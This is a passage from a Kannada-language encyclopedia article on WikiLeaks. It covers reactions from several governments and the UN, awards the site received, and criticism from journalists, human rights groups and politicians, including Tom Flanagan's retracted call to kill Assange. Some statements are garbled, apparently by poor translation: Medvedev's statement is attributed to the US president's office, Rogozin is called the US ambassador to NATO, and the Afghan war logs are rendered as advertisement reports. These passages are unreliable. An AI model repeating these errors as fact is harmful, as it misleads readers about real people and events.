ಆಹ್ವಾನ ನೀಡಿಲ್ಲ. ಲ್ಯೂಕಾಸ್‌ ತಮ್ಮ ವೈಯುಕ್ತಿಕ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ ಅದು ಸರ್ಕಾರದ ಪರವಾಗಿ ಅಲ್ಲ ಎಂದು ಹೇಳಿಕೆ ನೀಡಿದರು. ಕೊರ್ರಿಯಾ ನಂತರ ಅಸಾಂಜೆಯನ್ನು ಕಾನೂನನ್ನು ಮುರಿದ ಹಾಗೂ ಅಮೇರಿಕಾದ ಕುರಿತಾದ ಸೂಕ್ಷ್ಮ ಮಾಹಿತಿಯನ್ನು ಸೋರಿಕೆ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ಟೀಕಿಸಿದರು.<ref>{{cite web |url=http://us.mobile.reuters.com/article/topNews/idUSTRE6AT66820101201 |title=Ecuador backs off offer to WikiLeaks' Assange |publisher=Us.mobile.reuters.com |date= |accessdate=1 December 2010 |archive-date=15 ಜುಲೈ 2011 |archive-url=https://web.archive.org/web/20110715175247/http://us.mobile.reuters.com/article/topNews/idUSTRE6AT66820101201 |url-status=dead }}</ref> {{Flag|Russia}}: ಡಿಸೆಂಬರ್ 2010ರಲ್ಲಿ ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷರ ಕಚೇರಿಯಿಂದ [[ಡ್ಮಿಟ್ರಿ ಮೆಡ್ವೆಡೇವ್|ಡಿಮ್ಟ್ರಿ ಮೆಡ್ವಡೇವ್‌]] ಅವರು ಸರ್ಕಾರೇತರ ಸಂಸ್ಥೆಗಳ ಪರವಾಗಿ ಅಸಾಂಜೆ ಅವರನ್ನು ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿಗೆ ಶಿಫಾರಸ್ಸು ಮಾಡುವುದಾಗಿ ಹೇಳಿಕೆಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದರು. ಈ ಪ್ರಕಟಣೆಯು [[ನ್ಯಾಟೋ|ನ್ಯಾಟೊ]]ಗೆ ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಯಭಾರಿಯಾಗಿರುವ ಡಿಮ್ಟ್ರಿ ರೊಗೊಜಿನ್ ಅವರು ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ಅವರನ್ನು ಈ ಮೊದಲು ಸ್ವೀಡನ್‌ನಲ್ಲಿ ಮಾಧ್ಯಮ ಸ್ವಾತಂತ್ರ್ಯ ಇಲ್ಲ ಎಂದು ಪ್ರತಿಭಟನೆ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ಬಂಧಿಸಿದ್ದರು ಎಂಬುದನ್ನು ತಿಳಿಸಿದ್ದರು.<ref>{{cite web |url=https://www.theguardian.com/media/2010/dec/09/julian-assange-nobel-peace-prize |title=Julian Assange should be awarded Nobel peace prize, suggests Russia |date=9 December 2010 |accessdate=9 December 2010 | first=Luke |last=Harding |location=London |work=The Guardian }}</ref> {{Flag|Venezuela}}: ಹ್ಯೂಗೊ ಚಾವೆಜ್‌, ವೆನಿಜ್ಯುವೆಲಾದ ಅಧ್ಯಕ್ಷರು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಬೆಂಬಲವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. ಅಮೇರಿಕಾದ ನವೆಂಬರ್ 2010ರ ರಾಜತಾಂತ್ರಿಕ ವಿಷಯಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸುವ ಮೂಲಕ, ಅಮೇರಿಕಾ, ವೆನಿಜುವೆಲಾವನ್ನು ಪ್ರತ್ಯೇಕಗೊಳಿಸಲು ಸ್ಥಳೀಯ ಸರ್ಕಾರಗಳಿಗೆ ಸಹಕಾರ ನೀಡಿತ್ತು ಎಂಬುದು ಬಹಿರಂಗವಾಯಿತು ಎಂದು ಹೇಳಿದರು. "ವಿಕಿಲೀಕ್ಸ್ ಸದಸ್ಯರ ಧೈರ್ಯ ಮತ್ತು ಸಾಹಸವನ್ನು ಮೆಚ್ಚಲೇಬೇಕು. ಇದಕ್ಕಾಗಿ ಅವರಿಗೆ ಶುಭಾಶಯಗಳು" ಎಂದು ಚಾವೆಜ್ ತಮ್ಮ ದೂರದರ್ಶನ ಸಂದರ್ಶನದಲ್ಲಿ ಹೇಳಿದರು.<ref>{{cite web|last=Cancel |first=Daniel |url=https://www.bloomberg.com/news/2010-11-30/chavez-praises-wikileaks-for-bravery-while-calling-on-clinton-to-resign.html |title=Chavez Praises Wikileaks for `Bravery' While Calling on Clinton to Resign |publisher=Bloomberg |date=|accessdate=1 December 2010}}</ref> {{Flag|United Nations}}: ಡಿಸೆಂಬರ್ 2010ರಲ್ಲಿ ಅಮೇರಿಕಾದ, ಅಭಿಪ್ರಾಯ ಮತ್ತು ಅಭಿವ್ಯಕ್ತಿ ಸ್ವಾತಂತ್ರ್ಯದ ವಿಶೇಷ ವರದಿಯಲ್ಲಿ ಫ್ರಾಂಕ್ ಲಾ ರೂ "ಮುಕ್ತ ಅಭಿವ್ಯಕ್ತಿಯ ಬಲಿಪಶು" ಎಂಬುದನ್ನು ಒಪ್ಪಿಕೊಂಡರು. ಲಾ ರೂ ಮತ್ತೆ ಮುಂದುವರೆಯುತ್ತ "ವಿಕಿಲೀಕ್ಸ್ ತಂಡವು ಅದರ ನ್ಯಾಯಾಂಗೀಯ ಹೊಣೆಗಾರಿಕೆಯನ್ನು ಎದುರಿಸಬೇಕಾದ ಅಗತ್ಯ ಇಲ್ಲ. "ಒಂದೊಮ್ಮೆ ಒಬ್ಬ ವ್ಯಕ್ತಿಯು ತಾನೇ ಒಂದು ಮಾಹಿತಿಯನ್ನು ಸೋರಿಕೆ ಮಾಡಿದರೆ ಕ್ರಮ ಕೈಗೊಳ್ಳಬಹುದು. ಆದರೆ ಒಂದು ಮಾಧ್ಯಮ ಅದನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ ಕ್ರಮ ಕೈಗೊಳ್ಳಲು ಸಾಧ್ಯವಿಲ್ಲ" ಎಂದು ಹೇಳಿಕೆ ನೀಡಿದರು. ಮತ್ತು ಈ ರೀತಿಯಲ್ಲಿ ಪಾರದರ್ಶಕತೆಯು ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ ಮತ್ತು ಭ್ರಷ್ಟಾಚಾರವನ್ನು ಹಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಎದುರಿಸಲಾಗಿದೆ" ಎಂದು ಹೇಳಿದರು.<ref>{{cite web |url=http://www.abc.net.au/worldtoday/content/2010/s3089025.htm |title=UN rapporteur says Assange shouldn't be prosecuted |date=9 December 2010 |accessdate=9 December 2010 |author=Eleanor Hall |work=abc.net.au |publisher=[[ABC Online]]}}</ref> ಮಾನವ ಹಕ್ಕು ವಿಭಾಗದ ಮುಖ್ಯ ಆಯುಕ್ತ ನವಿ ಪಿಳ್ಳೆ ಹೇಳಿಕೆ ನೀಡಿ ಖಾಸಗಿ ಕಂಪೆನಿಗಳಿಗೆ ತಾವು ವಿಕಿಲೀಕ್ಸ್ ಜೊತೆಗೆ ಯಾವುದೇ ಸಂಬಂಧ ಹೊಂದಿಲ್ಲ ಎಂಬುದನ್ನು ದೃಢಪಡಿಸಬೇಕು ಎಂದು ಒತ್ತಡ ಹೇರಲಾಗುತ್ತಿದೆ ಎಂದು ಹೇಳಿದರು.<ref>{{cite web |url=http://www.reuters.com/article/idUSLDE6B81RO20101209 |title=UN rights boss concerned at targeting of WikiLeaks |date=9 December 2010 |accessdate=9 December 2010 |work=reutres |publisher=Reuters}}</ref> ====ಪ್ರಶಸ್ತಿಗಳು==== 2008ರಲ್ಲಿ, ಇಂಡೆಕ್ಸ್ ಆನ್ ಸೆನ್ಸರ್‌ಶಿಫ್, ಇದು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ತಮ್ಮ ಪ್ರಾರಂಭಿಕ ವರ್ಷದ ಎಕಾನಾಮಿಸ್ಟ್‌ ನ್ಯೂ ಮೀಡಿಯಾ ಅವಾರ್ಡ್‌ ನೀಡಿ ಗೌರವಿಸಿತು.<ref>{{cite web|url=http://www.indexoncensorship.org/2008/04/winners-of-index-on-censorship-freedom-of-expression-award-announced/|title=Winners of index on censorship freedom of expression awards announced|publisher=Index on Censorship|date=22 April 2008|accessdate=2011-01-21}}</ref> 2009ರಲ್ಲಿ ಅಮ್ನೆಸ್ಟಿ ಇಂಟರ್ನ್ಯಾಷನಲ್ ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಕಿನ್ಯಾದಲ್ಲಿ ನಡೆದ "ನ್ಯಾಯಾಂಗೇತರ ಕೊಲೆ ಹಾಗೂ ಕಣ್ಮರೆ"ಯ ಕುರಿತಾದ ಮಾಹಿತಿಯನ್ನು ಬೆಳಕಿಗೆ ತಂದಿದ್ದಕ್ಕಾಗಿ ಮಾಧ್ಯಮ ಪ್ರಶಸ್ತಿಯನ್ನು ನೀಡಿತು.<ref>{{cite web|url=https://www.theguardian.com/media/2009/jun/03/amnesty-international-media-awards |title=Amnesty International Media Awards 2009: full list of winners &#124; Media &#124; guardian.co.uk |work=Guardian |location=UK |date=|accessdate=1 December 2010}}</ref> ===ಟೀಕೆಗಳು=== ವಿಕಿಲೀಕ್‌ಗಳು ಹಲವಾರು ವೈವಿಧ್ಯ ಮೂಲಗಳಿಂದ ಟೀಕೆಗೊಳಗಾಗಿವೆ.<ref>{{cite news|url=http://news.sky.com/skynews/Home/World-News/WikiLeaks-Website-Behind-US-Cable-Leaks-Goes-From-Humble-Start-To-Enemy-Of-Governments-Worldwide/Article/201011415837564?lpos=World_News_First_Home_Page_Feature_Teaser_Region_0&lid=ARTICLE_15837564_WikiLeaks%3A_Website_Behind_US_Cable_Leaks_Goes_From_Humble_Start_To_Enemy_Of_Governments_Worldwide|title=WikiLeaks Revelations Get Global Prominence|date=28 November 2010|author=Richard Williams|publisher=Sky News Online}}</ref> 2007ರಲ್ಲಿ ಕ್ರಿಪ್ಟೋಮ್‍ನ ನಿರ್ವಾಹಕ ಜಾನ್ ಯಂಗ್, ಸಿಐಎ ಕಾಂಡ್ಯೂಟ್ ವ್ಯವಸ್ಥೆ ಹೊಂದಿರುವ ಗುಂಪನ್ನು ಆಪಾದನೆಗೊಳಪಡಿಸಿ ವಿಕಿಲೀಕ್ಸ್‌ ಬೋರ್ಡ್ ಆಫ್ ಡೈರೆಕ್ಟರ್ಸ್‌ನಿಂದ ತನ್ನ ಸ್ಥಾನವನ್ನು ತ್ಯಜಿಸಿದನು. ಅನಂತರದಲ್ಲಿ ಯಂಗ್ ತನ್ನ ಹೇಳಿಕೆಯಿಂದ ಹಿಂದೆ ಸರಿದರೂ ಆ ಪ್ರದೇಶದ ಒರ್ವ ಕ್ರಾಂತಿಕಾರಕನಾಗಿಯೇ ಉಳಿದನು.<ref>{{cite web|url=http://www.wired.co.uk/magazine/archive/2009/10/start/exposed-wikileaks-secrets |title=Exposed: Wikileaks' secrets (Wired UK) |publisher=Wired.co.uk |date=|accessdate=1 December 2010}}</ref> 2010ರ ಸಿನೆಟ್.ಕಾಂ ಜೊತೆಗಿನ ಸಂದರ್ಶನದಲ್ಲಿ ಆ ಸಮೂಹವನ್ನು ಹಣ ಸಂಗ್ರಹಿಸುವಲ್ಲಿನ ಪಾರದರ್ಶಕತೆಯ ಕೊರತೆ ಮತ್ತು ಹಣಕಾಸಿನ ನಿರ್ವಹಣೆಯ ಮೇಲೆ ಆಪಾದನೆಗೊಳಪಡಿಸಿದನು. ಇವನು ನಂಬಿಕೆಗಳನ್ನು, ಭಾವನೆಗಳನ್ನು ವ್ಯಕ್ತಪಡಿಸುತ್ತಾ ಮುಂದುವರೆದು "ವಿಕಿಲೀಕ್ಸ್ ಸೀಟಿ ಊದುವವರು ಕೋರಿದ ಅನಾಮಕತೆ ಅಥವಾ ಗೋಪ್ಯತೆಯ ಬಗ್ಗೆ ಯಾವುದೇ ಭರವಸೆಯನ್ನು ನೀಡಲಾರದು ಎಂದೂ ಮತ್ತು, ಮಾಹಿತಿಯ ಬಗ್ಗೆ ತಾನು ಯಾವುದೇ ಮೌಲ್ಯ ಹೊಂದಿದ್ದರೂ ಸಹ, ಅವರನ್ನು ಅದು ನಂಬಲಾರದು ಅಥವಾ, ಇದು ನನ್ನನ್ನು ಅಥವಾ ನಾನು ಜವಾಬ್ಧಾರಿ ಹೊತ್ತ ಕಷ್ಟದಲ್ಲಿರುವ ಯಾರನ್ನೇ ಆಗಲಿ, ಯಾವುದೇ ಅಪಾಯಕ್ಕೆ ನೂಕಿದರೂ ಯಾವುದೇ ಭರವಸೆ ನೀಡದು" ಎಂದನು.<ref>{{cite web |last=McCullagh |first=Declan |url=http://news.cnet.com/8301-31921_3-20011106-281.html |title=Wikileaks' estranged co-founder becomes a critic (Q&A) &#124; Privacy Inc. – CNET News |publisher=News.cnet.com |date=20 July 2010 |accessdate=1 December 2010 |archive-date=30 ನವೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101130065550/http://news.cnet.com/8301-31921_3-20011106-281.html |url-status=dead }}</ref> ಮಹಿಳಾ ಸಂಘ "ಆಲ್ಫಾ ಸಿಗ್ಮಾ ಟೋ"ದ ಸಂಸ್ಕಾರ ವಿಧಿಗಳ ಸೋರಿಕೆಯನ್ನು ಪ್ರಸ್ತಾಪಿಸಿದ ಸ್ಟೀವನ್ ಆಫ್ಟರ್‌ಗುಡ್ ವಿಕಿಲೀಕ್ಸ್ "ಕಾನೂನಿನ ಶರತ್ತುಗಳಿಗೆ ಯಾವುದೇ ಬೆಲೆಯನ್ನು ಕೊಡುತ್ತಿಲ್ಲ ಮತ್ತು ಜನರ ವೈಯಕ್ತಿಕ ಹಕ್ಕುಗಳನ್ನು ಗೌರವಿಸುವುದಿಲ್ಲ" ಎಂದು ಅಭಿಪ್ರಾಯಪಟ್ಟನು. ಇನ್ನೂ ಮುಂದುವರೆದ ಆಫ್ಟರ್‌ಗುಡ್ ಪ್ರಜಾತಂತ್ರಗಳ ಮೇಲಿನ ಗಮನವನ್ನು ಹೆಚ್ಚಿಸುವ ಬದಲು ಸರಕಾರೇತರ ಆಡಳಿತದ ರಹಸ್ಯಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸುವಲ್ಲಿ ಅನಿರ್ಬಂಧಿತವಾಗಿ ಇದು ತನ್ನನ್ನು ತೊಡಗಿಸಿಕೊಂದಿದೆ ಮತ್ತು, ಹಲವು ಭ್ರಷ್ಟಾಚಾರ ವಿರೋಧೀ ಪ್ರತಿಪಾದಕರು ಈ ಸೈಟ್‌ನ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳನ್ನು ವಿರೋಧಿಸಿವೆ" ಎಂದೂ ಹೇಳಿದ್ದಾನೆ.<ref>{{cite web|last=Aftergood|first=Steven|authorlink=Steven Aftergood|title=Wikileaks Fails “Due Diligence” Review|url=http://www.fas.org/blog/secrecy/2010/06/wikileaks_review.html|work=Secrecy News |publisher=[[Federation of American Scientists]]|accessdate=18 December 2010|date=28 June 2010}}</ref> ಮುಂದೊದಗಬಲ್ಲ ಪರಿಣಾಮಗಳಿಂದ ತಮ್ಮನ್ನು ರಕ್ಷಿಸಿಕೊಳ್ಳುವ ಸಲುವಾಗಿ ಬಿಡುಗಡೆಗೊಳಿಸಿದ ದಾಖಲೆಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಯು.ಎಸ್ ಮಿಲಿಟರಿಪಡೆಯ ಸುದ್ದಿಗಾರರಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದ ಅಫ್ಘನ್ ನಾಗರಿಕರ ಹೆಸರನ್ನು 2010ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಸಂಪಾದಿಸಿದೆ ಎಂದು ದೃಢವಾಗಿ ಸಮರ್ಥಿಸಿಕೊಂಡ ಆಮ್ನೆಸ್ಟಿ ಇಂಟರ್ನಾಷನಲ್ ಇತರ ಹಲವಾರು ಮಾನವ ಹಕ್ಕುಗಳ ಗುಂಪನ್ನು ಸೇರಿಕೊಂಡಿತು. ಕ್ಲಿಷ್ಟಕರವಾದ ದಾಖಲೆಗಳ ಮೇಲೆ ಕೂಲಂಕುಷ ಪರೀಕ್ಷೆಯನ್ನು ನಡೆಸುವಲ್ಲಿ ಸಹಕರಿಸುವ ಅವಕಾಶವನ್ನು ಆಮ್ನೆಸ್ಟಿ ಇಂಟರ್ನಾಷನಲ್‌ಗೆ ನೀಡುವ ಮೂಲಕ ಜೂಲಿಯನ್‌ ಅಸ್ಸೇಂಜ್ ಇದಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯಿಸಿದರು. ಬೇಡಿಕೆಗಳನ್ನು ಸ್ವೀಕರಿಸುವಲ್ಲಿ ಕಾಯ್ದಿರಿಸುವಿಕೆಯನ್ನು ಆಮ್ನಿಸ್ಟಿ ಇಂಟರ್ನ್ಯಾಷನಲ್ ತೋರ್ಪಡಿಸಿದಾಗ "ತನ್ನ ಕತ್ತೆಗಳನ್ನು ಕಾಯುವುದಷ್ಟೇ ತಿಳಿದಿದ್ದು ಬೇರೇನನ್ನೂ ಮಾಡಲಿಚ್ಚಿಸದವನಿಗೆ ಜನರ ಜೊತೆಗೆ ವ್ಯವಹರಿಸಲು ಸಮಯವಿಲ್ಲ" ಎಂದು ಆಸ್ಸೇಂಜ್ ಅಭಿಪ್ರಾಯ ಪಟ್ಟರು. ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಖಂಡಿಸುವ ಆಮ್ನೆಸ್ಟಿ ಇಂಟರ್ನಾಷನಲ್‌ನ್ನು ಸೇರಿದ ಇತರ ಗುಂಪುಗಳು ನಂತರದಲ್ಲಿ ತಮ್ಮ ನಾಗರಿಕತೆಯ ಹೆಸರನ್ನು ನೀಡಿದುದರ ಬಗ್ಗೆ ಅಸಂತೋಷವಿದ್ದರೂ, ವಿಕಿಲೀಕ್ಸ್ ನಡೆಸುತ್ತಿರುವ ಕಾರ್ಯಗಳನ್ನು ಮೆಚ್ಚಿಕೊಂಡವು.<ref>{{cite web|last=Whalen |first=Jeanne |url=http://online.wsj.com/article/SB10001424052748703428604575419580947722558.html |title=Human Rights Groups Press WikiLeaks Over Data - WSJ.com |work=The Wall Street Journal |date=9 August 2010 |accessdate=1 December 2010}}</ref> 2010ರ ತನ್ನ ಮುಕ್ತ ಪತ್ರದಲ್ಲಿ ಸರಕಾರೇತರ ಸಂಸ್ಥೆಗಳ ಯಾವುದೇ ಎಲ್ಲೆಗಳಿಲ್ಲದ ವರದಿಗಾರರು ವಿಕಿಲೀಕ್ಸ್‌ನ ಹಳೆಯ " ಮಾನವ ಹಕ್ಕುಗಳ, ನಾಗರಿಕ ಸ್ವಾತಂತ್ರ್ಯಗಳ ಗಂಭೀರ ಉಲ್ಲಂಘನೆ"ಯನ್ನು ತೋರ್ಪಡಿಸಿದುದರ ಬಗ್ಗೆ ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಮೆಚ್ಚಿಕೊಂಡಿತು ಅಲ್ಲದೆ "92000 ಜಾಹೀರಾತು ವರದಿಗಳನ್ನು ಸ್ವಚ್ಛಂದವಾಗಿ ಪ್ರಕಟಗೊಳಿಸಿದ್ದು ಇದು ಕ್ರಮಶಾಸ್ತ್ರ (ವಿಧಾನಗಳು)ದಲ್ಲಿ ಉಂಟಾದ ನಿಜವಾದ ಸಮಸ್ಯೆಯಾಗಿದೆ ಮತ್ತು, ಆದುದರಿಂದ ವಿಶ್ವಾಸಾರ್ಹವಾಗಿದೆ. ಪತ್ರಿಕೋಧ್ಯಮದ ಕೆಲಸವು ಮಾಹಿತಿಯ ಆಯ್ಕೆಯನ್ನೊಳಗೊಂಡಿದೆ. ತನ್ನನ್ನು ಸಮರ್ಥಿಸಿಕೊಳ್ಳಬಹುದಾದ ವಿಕಿಲೀಕ್ಸ್ ಪತ್ರಿಕೋಧ್ಯಮಿಗಳಿಗಾಗಿ ಮಾಡಿದ್ದಾಗಿರುವುದಿಲ್ಲ ಎಂಬ ಈ ವಾದವು ಸಮಾಧಾನತರುವಂತಹುದಾಗಿರಲಿಲ್ಲ."<ref>{{cite web |url=http://en.rsf.org/united-states-open-letter-to-wikileaks-founder-12-08-2010,38130.html |title=Reporters Sans Frontières – Open letter to WikiLeaks founder Julian Assange: ‘‘A bad precedent for the Internet's future'' |publisher=En.rsf.org |date= |accessdate=1 December 2010 |archive-date=28 ಮಾರ್ಚ್ 2014 |archive-url=https://web.archive.org/web/20140328200448/http://en.rsf.org/united-states-open-letter-to-wikileaks-founder-12-08-2010%2C38130.html |url-status=dead }}</ref> ಗುಂಪು ಆ ಕ್ಷಣವೇ, "ನಾವು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ನೀಡುವ ಬೆಂಬಲವನ್ನು, ಅದರ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳನ್ನು ಮತ್ತು ಅದರ ಸ್ಥಾಪನೆಯ ತತ್ವಗಳನ್ನು ಬೆಂಬಲಿಸುವುದನ್ನು ದೃಢಪಡಿಸುತ್ತೇವೆ" ಎಂಬ ತಮ್ಮ ಹೇಳಿಕೆಯನ್ನು ಬದಲಿಸಿ "ವಿಕಿಲೀಕ್ಸ್ ಸಂಸ್ಥೆಯನ್ನಲ್ಲದೇ ಅದರ ಬಹಿರಂಗಪಡಿಸುವ ವಿಧಾನವನ್ನು ಮಾತ್ರ" ಟೀಕಿಸುವ ವಿಮರ್ಶೆಯನ್ನಾಗಿ ದೃಢಪಡಿಸಿತು.<ref>{{cite web |url=http://en.rsf.org/united-states-criticism-of-wikileaks-is-not-a-17-08-2010,38169.html |title=Reporters Sans Frontières – "Criticism of Wikileaks is not a call for censorship or support for the war" |publisher=En.rsf.org |date= |accessdate=1 December 2010 |archive-date=29 ನವೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101129233707/http://en.rsf.org/united-states-criticism-of-wikileaks-is-not-a-17-08-2010,38169.html |url-status=dead }}</ref> 2010ರ ನವಂಬರ್ 30 ರಂದು, ಹಿಂದಿನ ಕೆನಡಾ ಸರಕಾರದ ಸಲಹೆಗಾರರಾದ ಟೋಮ್ ಫ್ಲಾನಗನ್ ಸಿಬಿಸಿ ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ "ಅಧಿಕಾರ ಮತ್ತು ರಾಜಕೀಯ"ದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಾಗ ಜೂಲಿಯನ್‌ ಅಸ್ಸಾಂಜ್‌ನ್ನು ಕೊಲ್ಲುವಂತೆ ಕರೆನೀಡಿದನು. "ಅಸ್ಸಾಂಜ್ ಮರಣದಂಡನೆಗೊಳಗಾಗಬೇಕೆಂದು ನಾನು ಅಭಿಪ್ರಾಯಪಡುತ್ತೇನೆ" ಎಂದು ನುಡಿದ ಫ್ಲಾನಗನ್ ಈವನ್ ಸೊಲೊಮೊನ್‌ಗೆ ಆತಿಥ್ಯವನ್ನು ನೀಡುವ ಮೊದಲೇ "ಇಂದು ನಾನು ಪೌರಷತನವನ್ನು ಅನುಭವಸುತ್ತಿದ್ದೇನೆ" ಎಂದು ನುಡಿದನು. ವಿಕಿಲೀಕ್ಸ್‌ ಮೇಲಿನ ತನ್ನ ವಿರೋಧವನ್ನು ಪುನರುಚ್ಛರಿಸಿದ ಸಂದರ್ಭದಲ್ಲಿ ಫ್ಲಾನಗನ್ ಅಸ್ಸಾಂಜ್‌ಗೆ ನೀಡಿದ ಮರಣದ ಕರೆಯನ್ನು ತಕ್ಷಣವೇ ಹಿಂದೆಗೆದುಕೊಂಡನು.<ref>{{cite news|url=http://www.cbc.ca/politics/story/2010/12/01/flanagan-wikileaks-assange.html |title=Flanagan regrets WikiLeaks assassination remark |publisher=Cbc.ca |date=|accessdate=1 December 2010}}</ref> ಪ್ರಧಾನ ಮಂತ್ರಿಗಳಾದ ಸ್ಟೀಫನ್ ಹಾರ್ಪರ್‌ರ‍ವರ ಪತಿನಿಧಿಗಳಾದ ದಿಮಿತ್ರಿ ಸೌಂಡಾಸ್ ಫ್ಲಾನಗನ್‌ರ ಹೇಳಿಕೆಯನ್ನು ಹೀಯಾಳಿಸಿ " ನಿಜವಾಗಿಯೂ ಸ್ವೀಕಾರಾರ್ಹವಲ್ಲ" ಎಂಬ ಹಳೆಯ ಟೋರಿ ಪ್ರಾವಿಣ್ಯರ ಹೇಳಿಕೆಗಳು ನೀಡಿದನು. ಲಿಬರಲ್ ಪಕ್ಷದ ಉಪ ನಾಯಕ ರಾಲ್ಫ್ ಗೂಢಲೆ ಸಾರ್ವಜನಿಕ ಗೃಹದಲ್ಲಿ ಫ್ಲಾನಗನ್ ನೀಡಿದ ಹೇಳಿಕೆಗಳು "ಕೆನಡಾ ಸಂವಿಧಾನದ ಹಕ್ಕು ಮತ್ತು ಸ್ವಾತಂತ್ರ್ಯಕ್ಕೆ ಖಂಡಿತವಾಗಿಯೂ ವಿರುದ್ಧವಾದುದು" ಎಂದು ಅಭಿಪ್ರಾಯಪಟ್ಟನು.<ref>{{cite web |url=http://www.montrealgazette.com/news/WikiLeaks+founder+professor+Flanagan+comments+criminal/3926597/story.html |title=WikiLeaks founder: U of C professor Flanagan's comments criminal |publisher=Montrealgazette.com |date=30 November 2010 |accessdate=7 December 2010 |archive-date=28 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101228233546/http://www.montrealgazette.com/news/WikiLeaks+founder+professor+Flanagan+comments+criminal/3926597/story.html |url-status=dead }}</ref> ರಷಿಯಾದ ಪರೀಕ್ಷಾ ವರದಿಗಾರ ಆಂಡ್ರೀ ಸೋಲ್ಡಟವ್ "ದಾಖಲೆಗಳನ್ನು ಅದು ಒಳಗೊಂಡಿರುವ ವಿಷಯದ ನಿಜಾಂಶವನ್ನು ತಿಳಿಯದೆ, ಯಾವುದೇ ಪ್ರಕರಣದಲ್ಲಿ ದಾಖಲಿಸದೆ, ಮತ್ತು ಅದನ್ನು ವಿಶ್ಲೇಷಿಸದೆ" ಬಹಿರಂಗಪಡಿಸುವ ವಿಕಿಲೀಕ್ಸ್‌ನ ಕಾರ್ಯಗಳನ್ನು ಟೀಕಿಸಿದರು. ತನಿಖಾ ಪತ್ರಿಕೋಧ್ಯಮದ ಇಳಿಕೆಯಿಂದ ಸಂವೇದನಾಶೀಲ ಪರ್ಯಾಯ ವ್ಯವಸ್ಥೆಯ ಜೊತೆಗೆ ವಿಕಿಲೀಕ್ಸ್‌ ಪ್ರತಿಕೋಧ್ಯಮಕ್ಕೆ ನೀಡಿದ ಬೆಂಬಲವು ಹಣಕಾಸು ಮತ್ತು ತನಿಖಾತ್ಮಕ ವರದಿಗಳ ಮೂಲಗಳ ಇಳಿಕೆಯಿಂದುಂಟಾದ ಆಕ್ರೋಶದಿಂದ ಪ್ರೇರೇಪಿಸಲ್ಪಟ್ಟ "ಬಿಟ್ಟಿರುವ ಖಾಲಿಜಾಗವನ್ನು ತುಂಬಿಸುವ" ಪ್ರಕ್ರಿಯೇ ವಿಕಿಲೀಕ್ಸ್ ಎಂದು ಸೋಲ್ಡಟವ್ ನಂಬಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.kyivpost.com/news/opinion/op_ed/detail/91880/ |title=Kyiv Post. Independence. Community. Trust – Opinion – OP-ED – Agentura.ru: WikiLeaks case highlights crisis in journalism |publisher=Kyivpost.com |date=|accessdate=8 December 2010}}</ref> ====ಸರಕಾರಗಳ ಟೀಕೆ==== ವಿಕಿಲೀಕ್ಸ್‌ನಿಂದ ಬಹಿರಂಗವಾದ ದಾಖಲೆಗಳಲ್ಲಿ ಹೆಚ್ಚಿನವು ಸರಕಾರಗಳು ಮತ್ತು ಸಂಸ್ಥೆಗಳ ದಾಖಲೆಗಳಾಗಿದ್ದು ಇವು ಆ ಸಂಸ್ಥೆಗಳ ನಿರ್ಣಾಯಕ ವಿಚಾರಗಳನ್ನೊಳಗೊಂಡವುಗಳಾಗಿವೆ. *{{Flag|Australia}}2010ರ ದಶಂಬರ ಎರಡರಂದು ಪ್ರಧಾನಮಂತ್ರಿ ಜುಲಿಯ ಗಿಲ್ಲಾರ್ಡ್ ತಾನು ವಿಕಿಲೀಕ್ಸ್‌ನ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳು ಮತ್ತು ಅದು ವೆಬ್‌ಸೈಟ್‌ನಲ್ಲಿ ಭಿತ್ತರಗೊಳಿಸುವ ಮಾಹಿತಿಗಳು ಒಟ್ಟು ಬೇಜವಾಬ್ಧಾರಿಯುಳ್ಳ ಮತ್ತು ಅನಧಿಕೃತವಾದುದು, ಅದನ್ನು "ಪೂರ್ಣವಾಗಿ ಖಂಡಿಸುತ್ತೇನೆ" ಎಂಬ ಹೇಳಿಕೆಯನ್ನು ನೀಡಿದ್ದಾರೆ.<ref name="julia">{{cite web |url=http://www.theage.com.au/technology/gillard-condemns-wikileaks-20101202-18haq.html |title=Gillard condemns WikiLeaks |last1= |first1=AAP |last2= |first2=|editor=Paul Ramadge |date=2 December 2010 |work=The Age |location=Australia |publisher=Fairfax Media |accessdate=4 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ನ ಸ್ಥಾಪಕರಾದ ಜೂಲಿಯನ್‌ ಅಸ್ಸಾಂಜ್ ಆಸ್ಟ್ರೇಲಿಯನ್ನರು, ತನ್ನನ್ನು ಆಸ್ಟ್ರೇಲಿಯಾದ ನಾಗರಿಕತ್ವ ಪಡೆಯುವಲ್ಲಿ ಮೋಸಗೊಳಿಸಿದ 